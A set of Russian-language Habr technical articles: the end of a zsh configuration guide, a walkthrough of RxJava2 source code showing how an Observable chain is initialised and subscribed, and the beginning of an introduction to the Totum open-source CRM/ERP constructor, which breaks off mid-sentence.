необходимо передавать `autoload` аргументы `-U` (отменяет эффект текущих alias-ов для загружаемого файла, потому что нередко alias-ы настроенные пользователем могут нарушать работу сторонних функций) и `-z` (необязательное уточнение что загружаемый файл — в формате zsh, но безопаснее его всегда задавать). ``` fpath=(~/my-zsh-functions $fpath) autoload -Uz fn fn ``` При этом содержимое файла `~/my-zsh-functions/fn` может быть в одном из этих трёх форматов: ``` # Просто набор команд, без каких-либо функций: echo "Я функция fn" ``` ``` # Одна функция с именем совпадающим с именем файла: fn() { echo "Я функция fn" } ``` ``` # Набор из любых команд и функций, включая fn: fn() { fn2 } fn2() { echo "Я хелпер функции fn" } echo "Выполнится перед первым запуском fn" # Но файл должен содержать явный вызов fn: fn "$@" echo "Выполнится после первого запуска fn" ``` zkbd ---- При первом запуске zsh нередко оказывается, что часть кнопок вроде F1/Backspace/Delete/курсора работает некорректно. Это связано с тем, что абсолютное большинство консольных приложений использует readline и корректная настройка этих кнопок считывается из `/etc/inputrc` и `~/.inputrc`, а zsh этого не делает. Проблема решается в лоб — нужно посмотреть, какие escape-последовательности выдают нужные кнопки в вашем терминале и задать в `~/.zshrc` нужные обработчики для этих escape-последовательностей. Примерно так: ``` bindkey '^[[A' up-line-or-history # Up bindkey '^[[B' down-line-or-history # Down # и т.д. ``` Смотреть выдаваемые кнопками последовательности можно запустив `cat >/dev/null` и нажимая `Ctrl-V` перед нужной кнопкой. (И таки да, занимаясь этим в 2017 я чувствовал себя немного странно…) Но в комплекте с zsh идёт вспомогательная утилита `zkbd`, которая автоматизирует этот процесс. Для этого необходимо подключить её в `~/.zshrc`, после чего у вас появится ассоциативный массив `$key` содержащий нужные escape-последовательности: ``` autoload -Uz zkbd [[ ! -f ~/.zkbd/$TERM-${${DISPLAY:t}:-$VENDOR-$OSTYPE} ]] && zkbd source ~/.zkbd/$TERM-${${DISPLAY:t}:-$VENDOR-$OSTYPE} [[ -n $key[Up] ]] && bindkey -- $key[Up] up-line-or-history [[ -n $key[Down] ]] && bindkey -- $key[Down] down-line-or-history # и т.д. ``` Я не уточняю детально какие команды (вроде `up-line-or-history`) на какие кнопки назначать потому, что во-первых назначать надо не все подряд, а только те, которые у вас из коробки не заработают, и во-вторых если мнения насчёт того, что должны делать Home или Backspace у всех сходятся, то вот поиск в истории по Up и Down может выполняться довольно разными способами, и функции в этих случаях на эти кнопки надо назначать тоже разные. (Кстати, задавать символ Escape (`^[`) в параметре bindkey можно и настоящим символом, вводя его через `Ctrl-V`, и двумя обычными символами `^[`, и двумя символами `\e`.) zstyle ------ Это встроенный способ использовать контекстно-зависимые настройки. Он во многом похож на обычные параметры, только помимо имени и значения параметра `zstyle` позволяет задать шаблон "контекста". А потом получать значения относящиеся к текущему контексту. Этот подход активно используется для настройки работы автодополнений, но им можно пользоваться и для своих скриптов. ``` # установим значение my-param=default для 3-х уровневого контекста, # где на первом уровне идентификатор нашего приложения (у всех # приложений общая база zstyle, так что свои настройки надо изолировать) # а на следующих двух уровнях любые значения % zstyle ':my-app:*:*' my-param default # установим значение my-param=val-one для контекста, у которого на # втором (более приоритетном) уровне будет значение "one" % zstyle ':my-app:one:*' my-param val-one # установим значение my-param=val-two для контекста, у которого на # третьем (менее приоритетном) уровне будет значение "two" % zstyle ':my-app:*:two' my-param val-two # получаем значение my-param в переменную result для заданного контекста % zstyle -s ':my-app:a:b' my-param result % echo $result default % zstyle -s ':my-app:one:b' my-param result % echo $result val-one % zstyle -s ':my-app:a:two' my-param result % echo $result val-two % zstyle -s ':my-app:one:two' my-param result % echo $result val-one ``` zmodload -------- Часть дополнительного функционала zsh реализована не в обычных скриптах подгружаемых через `autoload -Uz`, а как системные библиотеки `*.so`. Они используются, например, для предоставления доступа к регулярным выражениям PCRE, математическим функциям, сокетам, etc. Такие библиотеки подгружаются через `zmodload`. Разное ------ Для перехвата сигналов помимо стандартного `trap '…;code;…' INT` можно использовать функции с особыми именами: `TRAPINT() { …;code;… }`. У многих конструкций вроде `if`, `while`, etc. есть сокращённая форма (пример есть выше, где выводилось значение всех режимов bindkey). Внезапно, zsh-специфичный аналог `echo` — команда `print` — оказалась весьма удобной при изучении zsh. Она много чего умеет, но из самого полезного: ``` # вывод по одному аргументу на строку, удобно для массивов print -l $path # вывод по два аргумента на строку в столбцах, # удобно для ключей и значений ассоциативных массивов print -a -C 2 "${(kv@)ZSH_HIGHLIGHT_STYLES}" | sort # вывод используя %-последовательности используемые в $PS1 print -P '%Bbold%b %F{red}current%f dir is: %~' ``` ~~Если~~ Когда решитесь переходить на zsh, то для принятия конкретных решений про фреймворки/модули/темы вам пригодится [Awesome-коллекция всего для zsh](https://github.com/unixorn/awesome-zsh-plugins).
https://habr.com/ru/post/326580/
null
ru
null
# Инициализация Rx цепочки Всем привет, меня зовут Иван, я Android-разработчик. Сегодня хочу поделиться своим опытом работы с RxJava2 и рассказать, как происходит инициализация цепочки. Почему я вообще решил поднять эту тему? Пообщавшись со знакомыми разработчиками, я понял, что не каждый кто использует этот инструмент понимает, как он работает. И тогда я решил разобраться как же устроены подписки в RxJava2 и в какой последовательности вся работа инициализируется. Я не нашел ни одной статьи, поясняющей это. В свете этого я полез в исходники, чтобы посмотреть, как же все работает и набросал для себя небольшую шпаргалку, которая выросла в данную статью. В этой статье я не буду описывать что такое `Observable`, `Observer` и все остальные сущности, которые используются в RxJava2. Если вы решили прочитать данную статью, то я предполагаю, что вы уже знакомы с этой информацией. А если вы всё же не знакомы с этими понятия, то я рекомендую перед началом чтения ознакомиться с ними. *Вот с чего можно начать:* [*Грокаем\* RxJava*](https://habr.com/ru/post/265269/) [*Исследуем RxJava 2 для Android*](https://habr.com/ru/company/badoo/blog/328434/) Давайте посмотрим, как работает простейшая цепочка: ``` Observable.just (1, 2, 3, 4, 5) .map {…} .filter {…} .subscribe(); ``` По верхам --------- Сначала опишу вкратце каждый шаг, через который пройдем в этой цепочке (шаги начинаются сверху вниз): * Создается объект в операторе just `ObservableFromArray`. * Создается объект в операторе map `ObservableMap`, который принимает в конструктор ссылку на ранее созданный объект в операторе just. * Создается объект в операторе filter `ObservableFilter`, который принимает в конструктор ссылку на ранее созданный объект в map, в котором уже хранится ссылка на just. * После создания всех `Observable`’ов у последнего `Observable` в цепочки вызывается метод `subscribe()` (в нашем случае это `ObservableFilter` созданный в операторе filter) в котором создается новый `Observer`, который и будет обрабатывать все полученные события. * В методе `ObservableFilter.subscribe()` вызывается следующий метод `ObservableFilter.subscribeActual()`, в котором создается внутренний `Observer`, в случае с оператором filter, это `FilterObserver`. В этот внутренний `Observer` передается ссылка на первый созданный `Observer` в `ObservableFilter.subscribe()`. * Вызывается `ObservableMap.subscribe()`в котором так же вызывается `ObservableMap.subscribeActual()`и создается внутренний `Observer,` в случае с оператором map, это `MapObserver`, в который передается ссылка на `FilterObserver`. * Вызывается `ObservableFromArray.subscribe()` и после `ObservableFromArray.subscribeActual()`, и уже там вызывается метод `onSubscribe()`у переданного в `ObservableFromArray.subscribeActual()` `Observer`’а. * `onSubscribe()` вызывается у каждого нижележащего `Observer`’а в цепочке. * `ObservableFromArray` начинает излучать все события в метод `onNext()`нижележащего `Observer`’а. ![Визуальное представление описанной выше схемы.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e64/495/37c/e6449537c6121443564d60d254b9b262.png "Визуальное представление описанной выше схемы.")Визуальное представление описанной выше схемы.Создание источников данных -------------------------- Теперь давайте рассмотрим описанные выше шаги подробнее, сначала попадаем в метод `just()` где происходит проверка каждого значения на null, далее идет вызов метода `fromArray(),` который возвращает `Observable`. ``` public static Observable just(T item1, T item2, T item3, T item4, T item5) { ObjectHelper.requireNonNull(item1, "item1 is null"); ObjectHelper.requireNonNull(item2, "item2 is null"); ObjectHelper.requireNonNull(item3, "item3 is null"); ObjectHelper.requireNonNull(item4, "item4 is null"); ObjectHelper.requireNonNull(item5, "item5 is null"); return fromArray(item1, item2, item3, item4, item5); } ``` В `fromArray()` проверяется, что метод принимает в себя не пустой массив и имеет больше одного элемента. ``` public static Observable fromArray(T... items) { ObjectHelper.requireNonNull(items, "items is null"); if (items.length == 0) { return empty(); } if (items.length == 1) { return just(items[0]); } return RxJavaPlugins.onAssembly(new ObservableFromArray(items)); } ``` После прохода через все эти шаги создается новый экземпляр класса `ObservableFromArray`, который на вход принимает массив с данными. После этого новый объект передается в метод `onAssembly()`, так как нет необходимости как-то еще модифицировать `Observable`, то возвращается тот же источник, который поступал на вход. ``` public static Observable onAssembly(@NonNull Observable source) { Function super Observable, ? extends Observable f = onObservableAssembly; if (f != null) { return apply(f, source); } return source; } ``` `onAssembly()` *проверяет хотим ли перехватить текущий* `Observable` *и как-то модифицировать его, например таким образом:* ``` RxJavaPlugins.setOnObservableAssembly(o -> { if (o instanceof ObservableFromArray) { return new ObservableFromArray<>(new Integer[] { 4, 5, 6 }); } return o; }); Observable.just(1, 2, 3) .filter(v -> v > 3) .test() .assertResult(4, 5, 6); ``` ![Только что созданный ObservableFromArray](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8c1/93c/2f4/8c193c2f41903db7d5fc90284a1d624f.png "Только что созданный ObservableFromArray")Только что созданный ObservableFromArrayВызывается следующий оператор в цепочке `map()`. Оператор проходит почти через те же шаги, что были описаны выше. Сначала делается проверка на null, потом создается новый экземпляр класса `ObservableMap`. ``` public final Observable map(Function super T, ? extends R mapper) { ObjectHelper.requireNonNull(mapper, "mapper is null"); return RxJavaPlugins.onAssembly(new ObservableMap(this, mapper)); } ``` Вот тут появляется небольшое отличие, в конструктор `ObservableMap` передается не только mapper, который будет преобразовывать одно значение в другое, но также принимает в конструктор **this** (source). В данном случае **this** это ссылка на экземпляр класса `ObservableFromArray` созданный на предыдущем шаге. `ObservableMap` расширяет абстрактный класс `AbstractObservableWithUpstream`, в котором и храниться source. `AbstractObservableWithUpstream` *абстрактный класс, который реализуют* `Observable` *операторы и в котором хранится ссылка на вышележащий источник данных.* Далее происходит вызов метода `onAssembly()` и возвращение созданного `Observable`.  ![Обновленная схема с созданным ObservableMap](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4ea/0ad/9b8/4ea0ad9b8bb7999dd29a4e668132e0e3.png "Обновленная схема с созданным ObservableMap")Обновленная схема с созданным ObservableMapПереходим к следующему оператору в цепочки `filter()`. В нем не происходит ничего нового, за исключением того, что создается объект `ObservableFilter` и в его конструктор в **this** передается ссылка на экземпляр `ObservableMap` (у которого уже есть ссылка на `ObservableFromArray`, как показано на схеме выше) созданный на предыдущем шаге. ``` public final Observable filter(Predicate super T predicate) { ObjectHelper.requireNonNull(predicate, "predicate is null"); return RxJavaPlugins.onAssembly(new ObservableFilter(this, predicate)); } ``` ![Обновленная схема с созданным ObservableFilter](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d7f/b62/46e/d7fb6246eaa7321904bba5c4d14e5d89.png "Обновленная схема с созданным ObservableFilter")Обновленная схема с созданным ObservableFilterНачало подписки --------------- Последний оператор в цепочке `subscribe()`, который вызывает перегруженную версию метода. В нашем случае обрабатывается только `onNext()`. Метод `subscribe()` вызывается у `ObservableFilter`, который был последним созданным `Observable` в цепочке. ``` public final Disposable subscribe(Consumer super T onNext) { return subscribe(onNext, Functions.ON_ERROR_MISSING, Functions.EMPTY_ACTION, Functions.emptyConsumer()); } ``` В перегруженном методе сначала проверяются все переданные параметры на null, далее создается объект класса `LambdaObserver` и происходит подписка. ``` public final Disposable subscribe(Consumer super T onNext, Consumer super Throwable onError, Action onComplete, Consumer super Disposable onSubscribe) { ObjectHelper.requireNonNull(onNext, "onNext is null"); ObjectHelper.requireNonNull(onError, "onError is null"); ObjectHelper.requireNonNull(onComplete, "onComplete is null"); ObjectHelper.requireNonNull(onSubscribe, "onSubscribe is null"); LambdaObserver ls = new LambdaObserver(onNext, onError, onComplete, onSubscribe); subscribe(ls); return ls; } ``` А вот и сам метод, в котором и происходит подписка. ``` public final void subscribe(Observer super T observer) { ObjectHelper.requireNonNull(observer, "observer is null"); try { observer = RxJavaPlugins.onSubscribe(this, observer); ObjectHelper.requireNonNull(observer, "The RxJavaPlugins.onSubscribe hook returned a null Observer. Please change the handler provided to RxJavaPlugins.setOnObservableSubscribe for invalid null returns. Further reading: https://github.com/ReactiveX/RxJava/wiki/Plugins"); subscribeActual(observer); } catch (NullPointerException e) { ...... } } ``` В методе `subscribeActual()` производится подписка на источник данных и в него же передается созданный ранее `LambdaObserver`. `subscribeActual()`вызывается в классе `ObservableFilter`. И вот что там происходит. ``` public void subscribeActual(Observer super T observer) { source.subscribe(new FilterObserver(observer, predicate)); } ``` Создается новый объект класса `FilterObserver`, который принимает в конструктор `LambdaObserver` созданный ранее и предикат для фильтрации, которые хранится в `ObservableFilter` в виде поля класса. *Класс* `FilterObserver` *расширяет класс* `BasicFuseableObserver`*, в котором уже реализован метод* `onSubscribe()`*.* `BasicFuseableObserver` *это абстрактный класс, который реализуют промежуточные* `Observer`*’ы. Если посмотреть исходники, то его реализуют только 6 классов, два из которых это* `FilterObserver` *и* `MapObserver`*. В методе* `BasicFuseableObserver.onSubscribe()` *также вызывается метод* `onSubscribe()` *у нижележащего* `Observer`*’а, который передавался в конструктор этого класса. А выглядит это вот так:* ``` public final void onSubscribe(Disposable d) { if (DisposableHelper.validate(this.upstream, d)) { this.upstream = d; if (d instanceof QueueDisposable) { this.qd = (QueueDisposable)d; } if (beforeDownstream()) { downstream.onSubscribe(this); afterDownstream(); } } } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/651/e20/ab4/651e20ab4503ff08616c86c4b45f2eee.png)После того, как подписались на `ObservableFilter` и создали объект `FilterObserver`, он передается в `source.subscribe()`. Хочу напомнить, что **source** это объект класса `ObservableMap`, переданный ранее в цепочке. У объекта `ObservableMap` вызывается метод `subscribe()`. ``` public final void subscribe(Observer super T observer) { ObjectHelper.requireNonNull(observer, "observer is null"); try { observer = RxJavaPlugins.onSubscribe(this, observer); ObjectHelper.requireNonNull(observer, "The RxJavaPlugins.onSubscribe hook returned a null Observer. Please change the handler provided to RxJavaPlugins.setOnObservableSubscribe for invalid null returns. Further reading: https://github.com/ReactiveX/RxJava/wiki/Plugins"); subscribeActual(observer); } catch (NullPointerException e) { ...... } } ``` Далее происходит те же шаги, в методе `subscribe()` вызывается `subscribeActual()`, оба этих метода вызываются у `ObservableMap`. В `subscribeActual()` создается новый `MapObserver` с переданным в качестве параметра экземпляром `FilterObserver` и функцией `mapper`’а.  ``` public void subscribeActual(Observer super U t) { source.subscribe(new MapObserver(t, function)); } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/65b/db8/5db/65bdb85dbea5fba1f98cec8acfb7ab7f.png) ``` public void subscribeActual(Observer super T observer) { FromArrayDisposable d = new FromArrayDisposable(observer, array); observer.onSubscribe(d); if (d.fusionMode) { return; } d.run(); } ``` Все рассмотренные `Observer`*’ы* расширяли абстрактный класс `BasicFuseableObserver`, в котором уже реализован метод `onSubscribe()` и, так же есть ссылка на нижележащий `Observer`, у которого так же вызывается метод `onSubscribe()`. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/99a/e72/53c/99ae7253c1647fc988929c44b37130d7.png)В конце метода `subscribeActual()` вызывается метод `run()`, в котором и начинается излучение всех данных в нижележащие `Observer`*’ы*. ``` void run() { T[] a = array; int n = a.length; for (int i = 0; i < n && !isDisposed(); i++) { T value = a[i]; if (value == null) { downstream.onError(new NullPointerException("The element at index " + i + " is null")); return; } downstream.onNext(value); } if (!isDisposed()) { downstream.onComplete(); } } ``` Соответственно вызываются`onNext()` для передачи значений в нижележащие `Observer`*’ы,* и потом `onComplete()` при завершении излучения данных или может произойти ошибка и вызовется `onError()`, который завершит всю цепочку. ![Визуальное представление процесса создания и подписок](https://habrastorage.org/r/w1560/getpro/habr/upload_files/977/424/c51/977424c51746ea982495e47e7a2d9113.png "Визуальное представление процесса создания и подписок")Визуальное представление процесса создания и подписок**Вывод** `Observable`*’ы* вкладываются друг в друга и вызывают *callback’и* для создания `Observer`*’ов*, которые и будут обрабатывать получаемые данные и передавать их дальше по цепочки. Метод `onSubscribe()`вызывается до начала отправки данных и это надо иметь ввиду если вы пользуетесь такими оператора, как `doOnSubscribe()`. На каждый оператор создается как минимум 3 объекта: * Анонимный класс передаваемый в оператор * `Observable` создаваемый внутри оператора * `Observer` обрабатывающий получаемые данные Потому при использовании операторов стоит иметь ввиду, что каждый оператор аллоцирует память для несколько объектов и не стоит добавлять операторы в цепочку, только потому что “можно”. RxJava мощный инструмент, но нужно понимать, как он работает и для каких задач его использовать. Если вам нужно просто выполнение сетевого запроса в фоновом потоке и последующее выполнение результата на главном потоке, то это как “стрелять из пушки по воробьям”, попасть можно, а вот последствия могут быть серьезными.
https://habr.com/ru/post/560162/
null
ru
null
# Totum — open source конструктор CRM/ERP и произвольных учетных систем (PHP + PgSQL) ![](https://habrastorage.org/r/w1560/webt/gd/y_/_n/gdy__n_mi97nzefn9cpkgm2hohy.png) В двух словах — продвинутые таблицы. Ориентирован на отдельных разработчиков или микрокоманды из двух-трех человек. Подходит начинающим разработчикам и бизнес-аналитикам, желающим превратить свое понимание бизнеса в готовое решение или быстро разработать проект под конкретного клиента. Для небольших бизнес-ниш — в которых нет типовых решений. Small-code принцип — множество простых, ситуационных кодов. Есть подробная документация и видео. Устанавливается на собственный сервер за 5 мин. Со временем позволит выгружать разработанные на нем решения с коммерческими лицензиями с использованием встроенной защиты. Сайт: <https://totum.online> GitHub: <https://github.com/totumonline/totum-mit> Лицензия: **MIT** Для каких задач --------------- ### Разработка custom CRM/ERP или любого другого учета для небольших компаний Лично мы сделали и эксплуатируем несколько проектов с ценой разработки 300—1500К. * Систему записи на учебные мероприятия с объемами 500 учащихся/месяц. * Производственную систему для металлообрабатывающего предприятия. * Систему обработки заказов, товарной базы, логистики, всевозможных автоматических синхронизаций с базами поставщиков для интернет-магазина. * И прочие проекты поменьше. ### Быстрая разработка коробочных CRM/ERP для небольших ниш В малом бизнесе есть множество небольших областей, в которых требуются специализированные CRM/ERP/Учетные системы. Так как сегменты рынка небольшие, в продуктах крупных разработчиков есть пробелы, не покрывающие мелкие специфические задачи. Идея Totum в том, чтобы упростить разработку нишевых CRM/ERP, сделав ее возможной для отдельных разработчиков и рентабельной для небольших команд из 2-3 человек. Таблицы + код + браузер ----------------------- Основа Totum — таблицы. Это чем-то похоже на недавно вышедший у Amazon Honeycode. Но в Totum таблицы выступают как общая концепция организации информации. Данные можно разместить не только в таблице со строками, но и над ней или после нее. Можно быстро накидать нужные поля мышкой или заморочиться и настроить их внешний вид, адаптивность, объединить в группы, сделать подсветку и тд. ![](https://habrastorage.org/r/w1560/webt/eu/qc/ed/euqcedgjkhdo1wc4it5yvd8mjas.png) Таблиц может быть много. Предусмотрены разные типы таблиц под разные задачи: хранение данных, циклические заказы или проекты, временные отчеты или всплывающие окна. Для полей внутри мы сделали 15 типов: * строки; * числа; * файлы; * тексты; * графики… Поля добавляются мышкой. Настройки полей выбираются мышкой и их не так много. Для числового поля это будут: * заголовок; * порядок отображения; * настройки единицы измерения; * количества знаков после запятой; * тип округления; * настройки доступа к полю; * показ фильтров и тому подобное. ![](https://habrastorage.org/r/w1560/webt/g9/ql/kb/g9qlkbol4wadqlfqtlffa5-j9k0.png) Часть полей в решении отвечает за ввод данных пользователем, часть за вычисление значений и выполнение действий или все вместе. Для того, чтобы это обеспечить, коды пишутся в специальных окнах в настройках поля. Totum обеспечивает подсветку, поиск и подстановку адресов таблиц и других полей, переменных и функций, а также автозаполняет параметры функций. Сделано это на основе codemirror. Про коды и их разделение я расскажу чуть дальше. Коды простые и с ними могут работать начинающие разработчики или бизнес-аналитики. ![](https://habrastorage.org/r/w1560/webt/sw/xt/sv/swxtsvnhhyajop5dkqfiiygfjvm.png) Интерфейс у Создателя-разработчика тот же, что и у пользователя, но с дополнительными элементами управления, которые создатель может быстро скрыть/показать. Можно на время переключиться в вид конкретного пользователя, чтобы оценить, как у него выглядит система. В одной и той же таблице различные роли могут видеть/изменять разные наборы полей и строк. Можно создать не только пользователя-человека, но и пользователя-API и настроить ему собственный доступ. ![](https://habrastorage.org/r/w1560/webt/bv/fg/-u/bvfg-uxptsgoyisehk_utkgtf54.png) Разработчику не нужно быть full-stack программистом, чтобы собрать конечное решение на Totum. Знание html, адресация доменов и общие познания про то, как работает интернет, будут в плюс, но вообще нужно знать лишь сам Totum. Small-code принцип ------------------ Totum основан на небольших кодах, разделенных по типам действия — одни коды вычисляют значение в поле аналогично формуле Excel, другие следят за триггерами изменений и — если они сработали — выполняют написанные в них действия. Третий тип кодов отвечает за внешний вид полей в зависимости от набора данных в схеме. Если эти коды выполняются для таблицы с несколькими строками, то их выполнение будет повторено для каждой изменяемой строки. Обычно коды маленькие. В реальных проектах у нас всего пару раз были коды более 100 строк — обычно 5-10. С таким кодом легко может разобраться начинающий разработчик. Преимущество же кода перед BPMS в том, что на нем проще и понятнее написать разветвленную логику (во избежание холивара по BPMS — это наше субъективное мнение). **Код, вычисляющий значение поля,** не может выполнить действие или изменить форматирование — он замкнут сам в себе. Если в нем использованы какие-либо переменные, то они существуют только в момент выполнения этого кода в конкретном поле и никак не пересекаются с другими полями. Имеют декларативную логику: ``` Значение_в_поле: А + B A: Значение Поля_1 в Текущей_таблице в текущей_строке B: Возьми из Таблица_1 значение из Поле_2 где Поле_3 > 10 и Поле_4 не равно пустоте. ``` *Это не синтаксис, про синтаксис чуть дальше :)* **Код действия** выполняется только при срабатывании триггеров: изменение значения в поле, добавление или удаление стоки. Для кнопок триггер один — нажатие кнопки. Они тоже замкнуты в себе и никак не пересекаются с другими кодами. Можно использовать одинаковые переменные для кода значений и кода действий в одном поле. Коды действий работают в похожей логике: ``` Триггер: изменилось значение в поле Выполни: Действие_1 и Действие_2 Действие_1: Добавь в текущую_таблицу новую строку и в Поле_1 поставь “Новая строка” Действие_2: Открой окошко с уведомлением и напиши “Успешно” ``` **Код форматирования** может повлиять только на внешний вид своего поля. С ним все просто — он выполняется, если пользователь смотрит на таблицу, при любом изменении в этой таблице: ``` Правило_1: Если Текущее_поле равно пустоте то подсветить «Красным» Правило_2: Если Поле_1 текущей таблицы равно «Новая строка» выделить жирным. ``` **Чтобы это работало, должен быть известен порядок выполнения** — он есть. У каждого поля в таблице есть порядковый номер sort. Сначала считаются значения полей в порядке sort, потом действия в таком же порядке и затем форматирование. В интерфейсе поля показываются в этом же порядке. Да, есть возможность показать поле не в том месте, в котором оно рассчитывается, но об этом сейчас не будем. ![](https://habrastorage.org/r/w1560/webt/-c/te/oy/-cteoy04j3wlnmn7ttolpkzts-e.png) **Таблицы же могут быть на миллионы строк — они же не будут целиком пересчитываться при изменении?** Не будут. В Totum есть понятие «единица пересчета». Она может быть «таблица целиком» или «строка целиком». Разные типы таблиц имеют разные единицы пересчета. Те типы, у которых единица пересчета «строка целиком», при изменении пересчитывают только те строки, в которых произошли изменения. Действия выполняются только при срабатывании триггера. Форматирование считается только на те поля, которые видны пользователю. **Если в результате расчета или действия в таблице что-то изменилось** — то при записи изменений у нее изменяется «транзакционный номер». При начале пересчета этот номер запоминается и сравнивается с номером этой же таблицы по окончании пересчета и перед записью. Если номера не совпали, то это значит, что за время операции таблица была изменена другим пользователем. Тогда расчет можно отменить, продолжить или запустить его еще раз взяв новые исходные данные. Это настраивается для каждой таблицы и позволяет разработчику в два клика управлять требуемым уровнем согласованности данных и обеспечивает многопользовательский режим. Для таблиц, в которые осуществляется непересекающаяся запись, — эту проверку можно отключить. Еще одним преимуществом этой модели является то, что вся цепочка действий и пересчетов, задействующая несколько таблиц будет отменена при наличии ошибки или по срабатыванию специально заложенной отмены без записи каких-либо изменений в базу. Открытая у нескольких пользователей таблица сама не обновляется, но они видят предупреждение, что другой пользователь внес в нее изменение которое текущий пользователь еще не видит. Его тоже можно отключить. Totum-code ---------- Totum написан на PHP, но внутри программируется собственным языком — Totum-кодом. Он призван упростить задачу разработки для новичков. Упрощали по-максимуму и затачивали под таблицы и поля, которые разработчик видит внутри Totum. Вызов и запись данных тоже осуществляется в Totum-коде, SQL знать не нужно. ### Базис выглядит так: **$name** — взять значение из другой строки **#name** — взять значение из поля в текущей таблице и текущей строке **name:** — определить имя строки кода **function\_name(param1:; param2: )** — выполнить функцию **$name[key]** — взять значение по ключу из массива **$name[[section]]** — взять колонку из списка массивов **$#name** — переменная внутри кода или быстрая переменная (например, `$#nd` — это текущая дата) **calc: $A + $B — $C \* $D / $E** — математические операторы (по умолчанию выполняются в той последовательности, в которой указаны — как в калькуляторе) **< > = !=** — операторы сравнения Есть еще немного мелочей, но они уже второстепенные. Все остальное выполняется функциями. Например: ### Взять значение поля из произвольной таблицы: ``` value: select(table: 'table_name'; field: 'field_name_1'; where: 'field_name_2' > 10; order: 'field_name_2' asc) ``` ### Записать значение в поле: ``` action: set(table: 'table_name'; field: 'field_name_1' = $new_value; where: 'field_name_2' = #id) ``` ### Пересчитать таблицу: ``` action: recalculate(table: 'table_name') ``` ### Выполнить несколько действий: ``` =: while(action: $act_1; action: $act_2) act_1: insert(table: 'table_name'; field: 'field_name' = $new_value; log: true) new_value: 10 act2: recalculate(table: 'table_name'; where: 'field_name' > $new_value) ``` ### Отформатировать поле по условиям: ``` f1=: setFormat(condition: $#nfv >= 0; color: "green") f2=: setFormat(condition: $#nfv < 0; color: "tomato") f3=: setFormat(condition: $#nfv = 0; bold: true) ``` *$#nfv — значение в текущем поле. Помнить все быстрые переменные не нужно, внутри есть подсказки.* *В этом примере при нуле значение в поле будет и зеленым и жирным.* ### Один из вариантов ветвления по условиями: ``` =: if(condition: $calc > 0; then: "Положительное"; else: $calc) calc: #field_name_1 + #field_name_2 ``` На этом с кодами закончим. Подробнее и с видео можно посмотреть в [документации.](https://docs.totum.online) Если не хватило какой-то специфической функции, то, если вы знаете PHP, ее можно написать самому и подключить в обработчик. Мы сами постепенно наращиваем базу функций, но стараемся делать это очень осторожно: если результата можно добиться комбинируя 2-3 существующие — оставляем как есть. Через некоторое время можно будет подключать функции написанные на другом языке непосредственно в totum-код. Мы дорабатываем и тестируем это сейчас. Вместе с системой поставляется несколько интегрированных инструментов отладки. Например логи расчетов: ![](https://habrastorage.org/r/w1560/webt/2n/aj/1w/2naj1waqtmckzlzfy0p-u6hp4nw.png) Настраиваемый адаптивный ui --------------------------- Делали так, чтобы разработчик мог руководствоваться только одним правилом — **«просто выровняй ширины».** Например как здесь: ![](https://habrastorage.org/r/w1560/webt/p4/p4/h_/p4p4h_w9jylfwwlc_tfonfldmxq.png) [Кликабельный вариант смотреть здесь —>](https://start.demo.totum.online/An/52) И в большей части случаев это работает. Не работает на таблицах с большим количеством полей. Например для каких-нибудь Заказов и Карточек производства. Для этих случаев сделали **Секции** с возможностью относить поля к группам и настраивать некоторый вид полей: показывать рамки полей или нет, подсвечивать группу плашкой или обвести рамкой, с заголовками или без. И в десктопе, и в мобиле пользователь может секции свернуть. Настройки адаптивности полей собрали в одной функции и уложили их всего в 8 параметров: ``` setFloatFormat(blocknum: ; nextline: ; maxwidth: ; fill: ; glue: ; height: ; maxheight: ; breakwidth: ) ``` CSS/GRID/FLEX знать не нужно. И да, поставить поле мышкой в произвольное место нельзя — оно всегда привязано к предыдущему полю. Его положение и поведение задается двумя параметрами в настройках, функцией **setFloatFormat** и настройками **Секции.** Рабочий процесс на практике выглядит следующим образом: поля накидываются пока не наступает тулбар\_хэлл. Чтобы от этого спастись они разделяются на Секции. Если это не помогло — на Группы внутри Секций. Если нужно еще, то у очевидных полей убираются заголовки, у информационных — бордеры, добавляются переносы. Если получается криво на промежуточных размерах экранов — добавляются параметры **fill: true;** и **glue: true;** контролирующие заполнение и переносы. 5-10 мин и снова можно работать! ![](https://habrastorage.org/webt/3r/s-/gz/3rs-gzvt3opnrndjaxvbvycikge.gif) Настраиваемое API ----------------- Так как современная система должна взаимодействовать со всем вокруг сделали два вида API. Оба настраиваются. Один отдает данные из таблиц по настроенным для него доступам к конкретным таблицам и полям. Этот API скорее для полноценных разработчиков. Второй — это возможность написать API-микросервисы на Totum-коде и отдавать данные или выполнять действия внутри схемы. Этот вариант рассчитан именно на Totum-разработчика, тк здесь все задачи можно решить totum-кодом, не выходя из системы. **Например:** шлет вам внешняя система данные с лидами, вы ее направляете на созданный TOTUM-API-микросервис (мы называем их Remote) и разбираете поступившие данные — создаете записи в нужных таблицах, отправляете уведомления итд. В одном из проектов мы при помощи Remote считаем стоимость доставки товара ПЭКом/СДЭком для интернет магазина — формируем html с ответом скрипту, который его спрашивает с витрины. На 10К запросах в сутки работает быстро и без сбоев — сервер на 4х2,6 совсем не напрягается. Ништяки и мелочи ---------------- ### Графики Графики сделаны на [chart.js](https://chart.js). Внутри есть несколько преднастроенных типов. Какие данные выбирать в график определяет Создатель. Внешний вид графиков настраивается. ![](https://habrastorage.org/r/w1560/webt/ac/rq/x_/acrqx_tqzmune7inqfof4s1bkkw.png) ### Мобильная версия Пока это только мобильная версия. Со временем она станет полноценным PWA. Поля в ней адаптированы к показу на маленьком экране. Чтобы гарантировать скорость загрузки для больших таблиц есть раздельные для десктопа/мобилы пагинаторы (pagination). ![](https://habrastorage.org/r/w1560/webt/pv/9d/3d/pv9d3d-tzgnq_oiodce6im4vd08.png) ### Показать вовне Один из типов таблиц можно расшарить для неавторизованного пользователя. Можно сгенерировать шифрованную ссылку, в которой передавать для этой таблицы индивидуальные параметры. Такое использования можно посмотреть на [Примере калькулятора unit-экономики —>](https://start.demo.totum.online/An/30) ![](https://habrastorage.org/r/w1560/webt/c8/qw/dt/c8qwdts_abdqedh3qwzgffk_smg.png) ### Формы Этот функционал пока в стэлс-использовании — там еще есть что доделать. Он позволяет представить таблицу, открытую для стороннего пользователя, в видe material-ui. Например для создания пользовательских личных 